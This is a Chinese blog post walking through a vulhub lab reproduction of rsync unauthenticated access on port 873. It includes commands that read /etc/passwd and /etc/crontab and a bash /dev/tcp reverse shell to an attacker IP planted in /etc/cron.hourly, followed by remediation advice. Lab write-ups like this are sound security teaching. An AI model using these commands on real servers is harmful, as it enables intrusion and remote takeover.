Rsync未授权访问漏洞复现

0x00 漏洞简介

Rsync(remote synchronize)是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件,默认运行在873端口。如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

0x01 环境启动

cd /root/vulhub-master/rsync/common
docker-compose build
docker-compose up -d

0x03 漏洞复现

环境启动后,我们可以使用在线端口扫描工具查看其873端口是否开放 (www.matools.com/port)

使用rsync命令访问
rsync rsync://IP:873/

列出src模块中的文件


我们可以下载Linux根目录下的任意文件
rsync -av rsync://IP:873/src/etc/passwd ./
cat passwd


上传文件到定时任务反弹shell
1. 查看crontab配置文件
rsync rsync://IP:873/src/etc/crontab 
2. 下载远程文件到本地
rsync -av rsync://IP:873/src/etc/crontab .crontab
cat .crontab

其中 17 * * * * root cd / && run-parts --report /etc/cron.hourly 表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令

3. 写入shell到cron任务
创建shell.sh文件写入以下内容并赋予其执行权限:
➜  ~ cat > shell
#!/bin/bash
/bin/bash -i >& /dev/tcp/攻击者IP/6666 0>&1

➜  ~ chmod 777 shell


将shell文件上传至/etc/cron.hourly

nc监听6666端口

0x04 修复建议

  1. 及时更新和维护软件: 确保及时更新 rsync 到最新版本,因为新版本通常会修复已知的安全漏洞。同时,定期检查系统中安装的软件和服务,及时应用补丁和更新,以确保系统的安全性。
  2. 配置访问控制: 在 rsync 的配置文件中(通常是 /etc/rsyncd.conf),确保正确配置了访问控制,限制只有授权用户可以访问 rsync 服务。你可以使用 hosts allowhosts deny 指令来控制访问。只允许授权用户或特定 IP 地址范围访问 rsync 服务,拒绝其他所有请求。
  3. 使用认证和加密: 启用 rsync 服务的认证和加密功能,以确保通信安全。你可以使用 rsync 的 auth users 选项来指定允许访问 rsync 服务的用户列表,并使用 SSL/TLS 或 SSH 等安全协议进行通信加密。
posted @ 2024-02-21 16:44  BMCel  阅读(285)  评论(0编辑  收藏  举报